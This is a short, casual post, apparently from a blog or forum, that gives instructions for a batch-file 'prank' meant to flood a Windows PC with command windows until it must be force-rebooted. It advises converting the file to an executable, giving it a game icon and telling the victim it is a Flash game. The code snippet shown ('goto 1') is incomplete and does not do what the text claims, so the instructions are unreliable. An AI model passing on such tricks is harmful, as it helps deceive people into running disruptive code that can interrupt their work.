Ever want to pull a prank on a PC user or a fellow mac user running XP on his mac? Well I doubt you want to hurt the computer so his a simple prank that only will cause a force restart or power off. Open Notepad and enter this code.

goto 1

Save it but as a BAT (BATCH) file. If you're really smart you could convert it to a exec file via bat2exec converter and add a game like icon and tell the victim it's a compiled flash game. When he/she runs the file the DOS command window will popup then another, then another etc etc etc... It will open up 200+ command prompt windows and use up 99% of the system resources and you can't do anything but a force reboot. The only way this would harm some one is if they have something important running like defrag or something.
To live is to let die